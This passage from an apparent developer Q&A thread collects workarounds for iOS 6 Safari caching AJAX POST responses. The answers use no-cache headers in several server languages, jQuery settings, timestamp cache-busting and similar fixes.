url : ,
data:,
dataType : 'json',
success : function(responseText) {…}
Server side
Java:
httpResponse.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
Make sure to add this at the top the page before any data is sent to the client.
.NET
Response.Cache.SetNoStore();
Or
Response.Cache.SetCacheability(System.Web.HttpCacheability.NoCache);
PHP
header('Cache-Control: no-cache, no-store, must-revalidate'); // HTTP 1.1.
header('Pragma: no-cache'); // HTTP 1.0.
This JavaScript snippet works great with jQuery and jQuery Mobile:
$.ajaxSetup({
cache: false,
headers: {
'Cache-Control': 'no-cache'
}
});
Just place it somewhere in your JavaScript code (after jQuery is loaded, and best before you do AJAX requests) and it should help.
You can also fix this issue by modifying the jQuery Ajax function by doing the following (as of 1.7.1) to the top of the Ajax function (function starts at line 7212). This change will activate the built-in anti-cache feature of jQuery for all POST requests.
(The full script is available at http://dl.dropbox.com/u/58016866/jquery-1.7.1.js.)
Insert below line 7221:
if (options.type === "POST") {
options.cache = false;
}
Then modify the following (starting at line ~7497).
if (!s.hasContent) {
// If data is available, append data to URL
if (s.data) {
s.url += (rquery.test(s.url) ? "&" : "?") + s.data;
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Get ifModifiedKey before adding the anti-cache parameter
ifModifiedKey = s.url;
// Add anti-cache in URL if needed
if (s.cache === false) {
var ts = jQuery.now(),
// Try replacing _= if it is there
ret = s.url.replace(rts, "$1_=" + ts);
// If nothing was replaced, add timestamp to the end.
s.url = ret + ((ret === s.url) ? (rquery.test(s.url) ? "&" : "?") + "_=" + ts : "");
}
}
To:
// More options handling for requests with no content
if (!s.hasContent) {
// If data is available, append data to URL
if (s.data) {
s.url += (rquery.test(s.url) ? "&" : "?") + s.data;
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Get ifModifiedKey before adding the anti-cache parameter
ifModifiedKey = s.url;
}
// Add anti-cache in URL if needed
if (s.cache === false) {
var ts = jQuery.now(),
// Try replacing _= if it is there
ret = s.url.replace(rts, "$1_=" + ts);
// If nothing was replaced, add timestamp to the end.
s.url = ret + ((ret === s.url) ? (rquery.test(s.url) ? "&" : "?") + "_=" + ts : "");
}
A quick work-around for GWT-RPC services is to add this to all the remote methods:
getThreadLocalResponse().setHeader("Cache-Control", "no-cache");
This is an update of Baz1nga's answer. Since options.data is not an object but a string I just resorted to concatenating the timestamp:
$.ajaxPrefilter(function (options, originalOptions, jqXHR) {
if (originalOptions.type == "post" || options.type == "post") {
if (options.data && options.data.length)
options.data += "&";
else
options.data = "";
options.data += "timeStamp=" + new Date().getTime();
}
});
In order to resolve this issue for WebApps added to the home screen, both of the top voted workarounds need to be followed. Caching needs to be turned off on the webserver to prevent new requests from being cached going forward and some random input needs to be added to every post request in order for requests that have already been cached to go through. Please refer to my post:
iOS6 - Is there a way to clear cached ajax POST requests for webapp added to home screen?
WARNING: to anyone who implemented a workaround by adding a timestamp to their requests without turning off caching on the server. If your app is added to the home screen, EVERY post response will now be cached, clearing safari cache doesn't clear it and it doesn't seem to expire. Unless someone has a way to clear it, this looks like a potential memory leak!
Things that DID NOT WORK for me with an iPad 4/iOS 6:
My request containing: Cache-Control:no-cache
//asp.net's:
HttpContext.Current.Response.Cache.SetCacheability(HttpCacheability.NoCache)
Adding cache: false to my jQuery ajax call
$.ajax(
{
url: postUrl,
type: "POST",
cache: false,
...
Only this did the trick:
var currentTime = new Date();
var n = currentTime.getTime();
postUrl = "http://www.example.com/test.php?nocache="+n;
$.post(postUrl, callbackFunction);
That's the work around for GWT-RPC
class AuthenticatingRequestBuilder extends RpcRequestBuilder
{
#Override
protected RequestBuilder doCreate(String serviceEntryPoint)
{
RequestBuilder requestBuilder = super.doCreate(serviceEntryPoint);
requestBuilder.setHeader("Cache-Control", "no-cache");
return requestBuilder;
}
}
AuthenticatingRequestBuilder builder = new AuthenticatingRequestBuilder();
((ServiceDefTarget)myService).setRpcRequestBuilder(builder);
My workaround in ASP.NET (pagemethods, webservice, etc.)
protected void Application_BeginRequest(object sender, EventArgs e)
{
Response.Cache.SetCacheability(HttpCacheability.NoCache);
}
While adding cache-buster parameters to make the request look different seems like a solid solution, I would advise against it, as it would hurt any application that relies on actual caching taking place. Making the APIs output the correct headers is the best possible solution, even if that's slightly more difficult than adding cache busters to the callers.
For those that use Struts 1, here is how I fixed the issue.
web.xml
<filter>
<filter-name>SetCacheControl</filter-name>
<filter-class>com.example.struts.filters.CacheControlFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SetCacheControl</filter-name>
<url-pattern>*.do</url-pattern>
<http-method>POST</http-method>
</filter-mapping>
com.example.struts.filters.CacheControlFilter.js
package com.example.struts.filters;
import java.io.IOException;
import java.util.Date;
import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
public class CacheControlFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletResponse resp = (HttpServletResponse) response;
resp.setHeader("Expires", "Mon, 18 Jun 1973 18:00:00 GMT");
resp.setHeader("Last-Modified", new Date().toString());
resp.setHeader("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0");
resp.setHeader("Pragma", "no-cache");
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
I was able to fix my problem by using a combination of $.ajaxSetup and appending a timestamp to the url of my post (not to the post parameters/body). This based on the recommendations of previous answers
$(document).ready(function(){
$.ajaxSetup({ type:'POST', headers: {"cache-control","no-cache"}});
$('#myForm').submit(function() {
var data = $('#myForm').serialize();
var now = new Date();
var n = now.getTime();
$.ajax({
type: 'POST',
url: 'myendpoint.cfc?method=login&time='+n,
data: data,
success: function(results){
if(results.success) {
window.location = 'app.cfm';
} else {
console.log(results);
alert('login failed');
}
}
});
});
});
I think you have already resolved your issue, but let me share an idea about web caching.
It is true you can add many headers in each language you use, server side, client side, and you can use many other tricks to avoid web caching, but always think that you can never know from where the client are connecting to your server, you never know if he are using a Hotel “Hot-Spot” connection that uses Squid or other caching products.
If the users are using proxy to hide his real position, etc… the real only way to avoid caching is the timestamp in the request also if is unused.
For example:
/ajax_helper.php?ts=3211321456
Then every cache manager you have to pass didnt find the same URL in the cache repository and go re-download the page content.
Depending on the app you can trouble shoot the issue now in iOS 6 using Safari>Advanced>Web Inspector so that is helpful with this situation.
Connect the phone to Safari on a Mac an then use the developer menu to trouble shoot the web app.
Clear the website data on the iPhone after update to iOS6, including specific to the app using a Web View. Only one app had an issue and this solved it during IOS6 Beta testing way back, since then no real problems.
You may need to look at your app as well, check out NSURLCache if in a WebView in a custom app.
https://developer.apple.com/library/ios/#documentation/Cocoa/Reference/Foundation/Classes/NSURLCache_Class/Reference/Reference.html#//apple_ref/doc/uid/TP40003754
I guess depending on the true nature of your problem, implementation, etc. ..
Ref: $.ajax calls
I found one workaround that makes me curious as to why it works. Before reading Tadej's answer concerning ASP.NET web service, I was trying to come up with something that would work.
And I'm not saying that it's a good solution, but I just wanted to document it here.
main page: includes a JavaScript function, checkStatus(). The method calls another method which uses a jQuery AJAX call to update the html content. I used setInterval to call checkStatus(). Of course, I ran into the caching problem.
Solution: use another page to call the update.
On the main page, I set a boolean variable, runUpdate, and added the following to the body tag:
<iframe src="helper.html" style="display: none; visibility: hidden;"></iframe>
In the of helper.html:
<meta http-equiv="refresh" content="5">
<script type="text/javascript">
if (parent.runUpdate) { parent.checkStatus(); }
</script>
So, if checkStatus() is called from the main page, I get the cached content. If I call checkStatus from the child page, I get updated content.
While my login and signup pages works like a charm in Firefox, IE and Chrome... I've been struggling with this issue in Safari for IOS and OSX, few months ago I found a workaround on the SO.
<body onunload="">
OR via javascript
<script type="text/javascript">
window.onunload = function(e){
e.preventDefault();
return;
};
</script>
This is kinda ugly thing but works for a while.
I don't know why, but returning null to the onunload event the page do not get cached in Safari.
We found that older iPhones and iPads, running iOS versions 9 & 10, occasionally return bogus blank AJAX results, perhaps due to Apple's turning down CPU speed. When returning the blank result, iOS does not call the server, as if returning a result from cache. Frequency varies widely, from roughly 10% to 30% of AJAX calls return blank.
The solution is hard to believe. Just wait 1s and call again. In our testing, only one repeat was all that was ever needed, but we wrote the code to call up to 4 times. We're not sure if the 1s wait is required, but we didn't want to risk burdening our server with bursts of repeated calls.
We found the problem happened with two different AJAX calls, calling on different API files with different data. But I'm concerned it could happen on any AJAX call. We just don't know because we don't inspect every AJAX result and we don't test every call multiple times on old devices.
Both problem AJAX calls were using: POST, Asynchronously = true, setRequestHeader = ('Content-Type', 'application/x-www-form-urlencoded')
When the problem happens, there's usually only one AJAX call going on. So it's not due to overlapping AJAX calls. Sometimes the problem happens when the device is busy, but sometimes not, and without DevTools we don't really know what's happening at the time.
iOS 13 doesn't do this, nor Chrome or Firefox. We don't have any test devices running iOS 11 or 12. Perhaps someone else could test those?
I'm noting this here because this question is the top Google result when searching for this problem.
It worked with ASP.NET only after adding the pragma:no-cache header in IIS. Cache-Control: no-cache was not enough.
I suggest a workaround to modify the function signature to be something like this:
getNewRecordID(intRecordType, strTimestamp)
and then always pass in a TimeStamp parameter as well, and just discard that value on the server side. This works around the issue.